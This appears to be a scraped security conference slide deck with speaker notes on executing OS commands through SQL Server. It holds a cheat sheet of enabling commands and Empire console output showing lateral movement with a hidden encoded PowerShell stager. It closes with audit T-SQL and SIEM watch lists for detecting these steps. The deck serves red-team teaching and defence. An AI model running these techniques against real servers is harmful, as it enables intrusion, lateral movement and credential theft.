  • 111. 121 Confidential & Proprietary BEYOND XP_CMDSHELL: OS CMD CHEETSHEET 121Technique Affected Version Requires Sysadmin By default Can be Run as Non-sysadmin with Specific Privileges Execution Context Proxy Account Option Requires Server Config Change Requires Disk Read/Write Commands to Watch / Requirements Execute xp_cmdshell 2000 - 2017 Yes Yes SQL Server Service Account xp_cmdshell Proxy Account Yes Yes No sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' EXEC sp_configure 'xp_cmdshell', 1; xp_cmdshell 'whoami’ sp_xp_cmdshell_proxy_account Grant execute on xp_cmdshell to [x] Create & Execute a Extended Stored Procedure 2000 - 2017 Yes No SQL Server Service Account No No Yes sp_addextendedproc Create & Execute a CLR Assembly 2008 -2017 Yes Yes SQL Server Service Account No Yes No sp_configure ‘clr enabled', 1; sp_configure ‘clr strict security’, 0; CREATE ASSEMBLY+CREATE PROCEDURE , ALTER ASSEMBLY, or DDL_Admin Requires: Database has ‘Is_Trustworthy’ flag set. Execute a OLE Automation Procedure 2000 - 2017 Yes Yes SQL Server Service Account No Yes No sp_configure ‘Ole Automation Procedures', 1; GRANT EXECUTE ON OBJECT::[dbo].[sp_OACreate] to [public] GRANT EXECUTE ON OBJECT::[dbo].[sp_OAMethod] to [public] Create & Execute an Agent Job • CmdExec • PowerShell • SSIS • ActiveX: Jscript • ActiveX: VBScript 2000 - 2017 Yes Yes SQL Server Agent Service Account Proxy Account Yes No No sp_add_job that is not tsql Runs as agent service account when created by sysadmin. Must be configured with proxy account for non sysadmin users provided a agent role: SQLAgentUserRole, SQLAgentReaderRole, SQLAgentOperatorRole External Scripting: R 2016 – 2017 Yes No SQL Server Service Account No Yes No sp_configure 'external scripts enabled', 1; External Scripting: Python 2017 Yes No SQL Server Service Account No Yes No sp_configure 'external scripts enabled', 1; OS Autoruns • File • Registry 2000 - 2017 Yes Yes Depends on autorun location No Yes Yes Files: Bulk Insert: GRANT ADMINISTER BULK OPERATIONS TO [public] Files: sp_addlinkedserver / Openrowset / Opendataset Registry: xp_regread / xp_regwrite Providers • Microsoft.ACE.OLEDB.12.0 • Microsoft.Jet.OLEDB.4.0 2005 - 2017 Yes Maybe SQL Server Service Account Yes Yes Yes sp_addlinkedserver / Openrowset / Opendataset Sp_configure ‘enabled ad-hoc queries’,1 Can mdb be unc?
  • 112. 122 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION 122 FUTURE RESEARCH Other providers. Write one function to evaluate audit controls, cmdexec options, and automatically choose best one.
  • 113. 123 Confidential & Proprietary123 Confidential & Proprietary More toys! https://github.com/EmpireProject/Empire POWERSHELL EMPIRE MODULES
  • 114. 124 Confidential & Proprietary BEYOND XP_CMDSHELL: EMPIRE MODULES 124 SQL Server Empire Modules 1. Get-SQLInstanceDomain 2. Get-SQLServerInfo 3. Get-SQLServerDefaultLoginPW 4. Get-SQLQuery 5. Get-SQLColumnSampleData 6. Invoke-SQLOSCmd GOTCHA!
  • 115. 125 Confidential & Proprietary BEYOND XP_CMDSHELL: EMPIRE MODULES 125 Module 3  Example screenshot (Empire: NCH9K51L) > usemodule powershell/lateral_movement/invoke_sqloscmd (Empire: powershell/lateral_movement/invoke_sqloscmd) > options Name: Invoke-SQLOSCMD Module: powershell/lateral_movement/invoke_sqloscmd NeedsAdmin: False OpsecSafe: True Language: powershell MinLanguageVersion: 2 Background: True OutputExtension: None Authors: @nullbind @0xbadjuju Description: Executes a command or stager on remote hosts using xp_cmdshell. Options: Name Required Value Description ---- -------- ------- ----------- Listener False Listener to use. CredID False CredID from the store to use. Command False Custom command to execute on remote hosts. Proxy False default Proxy to use for request (default, none, or other). UserName False [domain]username to use to execute command. Instance True Host[s] to execute the stager on, comma separated. UserAgent False default User-agent string to use for the staging request (default, none, or other). ProxyCreds False default Proxy credentials ([domain]username:password) to use for request (default, none, or other). Password False Password to use to execute command. Agent True NCH9K51L Agent to run module on.
  • 116. 126 Confidential & Proprietary BEYOND XP_CMDSHELL: EMPIRE MODULES 126 Module 3  Example screenshot (Empire: powershell/lateral_movement/invoke_sqloscmd) > set Instance sql-2012.test.local (Empire: powershell/lateral_movement/invoke_sqloscmd) > set Command whoami (Empire: powershell/lateral_movement/invoke_sqloscmd) > run (Empire: powershell/lateral_movement/invoke_sqloscmd) > Job started: 6KVEUC sql-2012.test.local : Connection Success. sql-2012.test.local : You are a sysadmin. sql-2012.test.local : Show Advanced Options is disabled. sql-2012.test.local : Enabled Show Advanced Options. sql-2012.test.local : xp_cmdshell is disabled. sql-2012.test.local : Enabled xp_cmdshell. sql-2012.test.local : Running command: whoami nt servicemssqlserver sql-2012.test.local : Disabling xp_cmdshell sql-2012.test.local : Disabling Show Advanced Options
  • 117. 127 Confidential & Proprietary BEYOND XP_CMDSHELL: EMPIRE MODULES 127 Module 3  Example screenshot (Empire: powershell/lateral_movement/invoke_sqloscmd) > unset Command (Empire: powershell/lateral_movement/invoke_sqloscmd) > set Listener http (Empire: powershell/lateral_movement/invoke_sqloscmd) > run (Empire: powershell/lateral_movement/invoke_sqloscmd) > Job started: X3U26K [+] Initial agent 59BNMXTA from 192.168.1.195 now active sql-2012.test.local : Connection Success. sql-2012.test.local : You are a sysadmin. sql-2012.test.local : Show Advanced Options is disabled. sql-2012.test.local : Enabled Show Advanced Options. sql-2012.test.local : xp_cmdshell is disabled. sql-2012.test.local : Enabled xp_cmdshell. sql-2012.test.local : Running command: C:WindowsSystem32WindowsPowershellv1.0powershell.exe -NoP -sta -NonI -W Hidden -Enc [TRUNCATED] sql-2012.test.local : Disabling xp_cmdshell sql-2012.test.local : Disabling Show Advanced Options (Empire: powershell/lateral_movement/invoke_sqloscmd) >
  • 118. 128 Confidential & Proprietary128 Confidential & Proprietary AUDIT COMMAND EXECUTION I Feel like I’m missing something?
  • 119. 129 Confidential & Proprietary BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION 129 You have the power to change that. What can I do?
  • 120. 130 Confidential & Proprietary BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION 130 You need to audit and alert on that sh*t.
  • 121. 131 Confidential & Proprietary BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION 131 Let’s do it! 1. Create Server Audit 2. Create Server Audit Specification 3. Create Database Audit Specification
  • 122. 132 Confidential & Proprietary BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION 132 Auditing – Code – TSQL – Create Server Audit -- Create and enable an audit USE master CREATE SERVER AUDIT DerbyconAudit TO APPLICATION_LOG WITH (QUEUE_DELAY = 1000, ON_FAILURE = CONTINUE) ALTER SERVER AUDIT DerbyconAudit WITH (STATE = ON) Reference: https://technet.microsoft.com/en-us/library/cc280663(v=sql.110).aspx
  • 123. 133 Confidential & Proprietary BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION 133 Auditing – Code – TSQL – Create Server Specification -- Server: Audit server configuration changes CREATE SERVER AUDIT SPECIFICATION [Audit_Server_Configuration_Changes] FOR SERVER AUDIT DerbyconAudit ADD (AUDIT_CHANGE_GROUP), -- Audit Audit changes ADD (SERVER_OPERATION_GROUP) -- Audit server changes WITH (STATE = ON) Reference: https://technet.microsoft.com/en-us/library/cc280663(v=sql.110).aspx
  • 124. 134 Confidential & Proprietary BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION 134 Auditing – Code – TSQL – Create Database Specification -- DATABASE: Audit common agent job activity Use msdb CREATE DATABASE AUDIT SPECIFICATION [Audit_Agent_Jobs] FOR SERVER AUDIT [DerbyconAudit] ADD (EXECUTE ON OBJECT::[dbo].[sp_add_job] BY [dbo]) WITH (STATE = ON) -- DATABASE: Audit potentially dangerous procedures use master CREATE DATABASE AUDIT SPECIFICATION [Audit_OSCMDEXEC] FOR SERVER AUDIT [DerbyconAudit] ADD (EXECUTE ON OBJECT::[dbo].[xp_cmdshell] BY [dbo]), ADD (EXECUTE ON OBJECT::[dbo].[sp_addextendedproc] BY [dbo]), ADD (EXECUTE ON OBJECT::[dbo].[sp_execute_external_script] BY [dbo]), -- 2016 and later ADD (EXECUTE ON OBJECT::[dbo].[Sp_oacreate] BY [dbo]), ADD (EXECUTE ON OBJECT::[dbo].[sp_add_trusted_assembly] BY [dbo]), -- 2017 ADD (EXECUTE ON OBJECT::[dbo].[xp_regwrite] BY [dbo]) WITH (STATE = ON) Reference: https://technet.microsoft.com/en-us/library/cc280663(v=sql.110).aspx
  • 125. 135 Confidential & Proprietary BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION 135 SIEM Cheatsheet Windows Application Log Event ID: 15457 Description: Server configuration changes. - Configuration option 'external scripts enabled' changed from 0 to 1. Run the RECONFIGURE statement to install. - Configuration option 'Ole Automation Procedures' changed from 0 to 1. Run the RECONFIGURE statement to install. - Configuration option 'clr enabled' changed from 0 to 1. Run the RECONFIGURE statement to install. - Configuration option 'clr strict security' changed from 0 to 1. Run the RECONFIGURE statement to install. - Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install. - Configuration option 'Ad Hoc Distributed Queries' changed from 0 to 1. Run the RECONFIGURE statement to install.
  • 126. 136 Confidential & Proprietary BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION 136 SIEM Cheatsheet Windows Application Log Event ID: 33205 Description: Agent and database level changes. - msdb.dbo.sp_add_job Watch for potentially malicious ActiveX, cmdexec, and powershell jobs. - sp_execute_external_script Watch for cmd.exe and similar calls. - sp_OACreate Watch for Sp_oacreate 'wscript.shell’ and similar calls - sp_addextendedproc Watch for any usage - sp_add_trusted_assembly Watch for unauthorized usage
  • 127. 137 Confidential & Proprietary137 Confidential & Proprietary TAKE AWAYS
  • 128. 138 Confidential & Proprietary BEYOND XP_CMDSHELL: TAKE AWAYS 138 Take Aways 1. xp_cmdshell is NOT the only OS command execution option 2. SQL Server can be used as a beach head to help avoid detection during domain escalation and red team engagements 3. Empire and PowerUpSQL have modules/functions to support some of the attacks and auditing 4. Every technique can be logged, but most people don’t  We can be better!
  • 129. 139 Confidential & Proprietary BEYOND XP_CMDSHELL: TAKE AWAYS 139 You got this!You got this! QUESTIONS? http://slideshare.net/nullbind/ @0xbadjuju @_nullbind
  • 130. 140 Confidential & Proprietary BEYOND XP_CMDSHELL: TAKE AWAYS 140 http://slideshare.net/nullbind/ @0xbadjuju @_nullbind Let’s do it!Let’s do it! QUESTIONS?
  • 131. MINNEAPOLIS | NEW YORK | PORTLAND | DENVER | DALLAS Empowering enterprises to scale & operationalize their security programs, globally.

Editor's Notes

  1. Last year I covered SQL Server: Discovery Entry Privilege escalation
  2. List defined audits.
  3. List server level monitoring.
  4. List database level monitoring.
  5. Specifications must be disabled before they can be removed.
  6. Shows disabled status Can reflect audit gaps that can be exploited https://docs.microsoft.com/en-us/sql/relational-databases/security/auditing/sql-server-audit-action-groups-and-actions
  7. Shell32.dll https://msdn.microsoft.com/en-us/library/windows/desktop/bb762153(v=vs.85).aspx
  8. Let’s start with the classics!
  9. Overview
  10. Common command examples.
  11. Yes, you’re burned.
  12. List of alternative os command execution options.
  13. Note: Payloads can be stored internally on sites like sharepoint 
  14. A copy of the DLL is stored in a table when it is created, NOT on disk. It can be recovered, which will be shown in a later slide.
  15. The SQL Server libraries used have shipped with the .net framework by default since version 2.0.
  16. This is the method that will be used by the SQL Server.
  17. This simply creates a cmd.exe process and runs the provided command.
  18. This can be compiled using csc.exe which ships with .net framework by default.
  19. The UNSAFE permission_set does not enforce any security restrictions and allows us to wrap unmanaged code.
  20. The UNSAFE permission_set does not enforce any security restrictions and allows us to wrap unmanaged code.
  21. Map the .net method to a SQL Server stored procedure.
  22. Notice we reference the same name we setup in the code.
  23. This will convert a SQL Server .net DLL into a CREATE ASSEMBLY command that uses a hexadecimal string instead of a file path.
  24. This will convert a SQL Server .net DLL into a CREATE ASSEMBLY command that uses a hexadecimal string instead of a file path.
  25. This will convert a SQL Server .net DLL into a CREATE ASSEMBLY command that uses a hexadecimal string instead of a file path.
  26. This will convert a SQL Server .net DLL into a CREATE ASSEMBLY command that uses a hexadecimal string instead of a file path.
  27. This will convert a SQL Server .net DLL into a CREATE ASSEMBLY command that uses a hexadecimal string instead of a file path.
  28. This will convert a SQL Server .net DLL into a CREATE ASSEMBLY command that uses a hexadecimal string instead of a file path.
  29. Nice an easy way to do things like deploy services, wmi providers, etc…
  30. Currently unfinished / unstable code: WMI provider via CLR WMI command execution via OLE LSASecrets via CLR
  31. SQL Server 2008 and later require that a proxy account is configured for job types that are not TSQL when executing as a non-sysadmin user.
  32. Highlighted job types can be used to run OS commands Often recover clear text passwords from Agent jobs during pentests There are other job types that are not listed
  33. Service can be started with xp_startservice and stopped with “xp_stopservice”.
  34. Get a list of jobs / types Get source code too – often passwords
  35. Often recover clear text passwords from Agent jobs during pentests.
  36. Often recover clear text passwords from Agent jobs during pentests.
  37. Need to add affected versions
  38. Need to add affected versions
  39. GRANT ADMINISTER BULK OPERATIONS TO [public] openrowset opendatasource create link
  40. GRANT ADMINISTER BULK OPERATIONS TO [public] openrowset opendatasource create link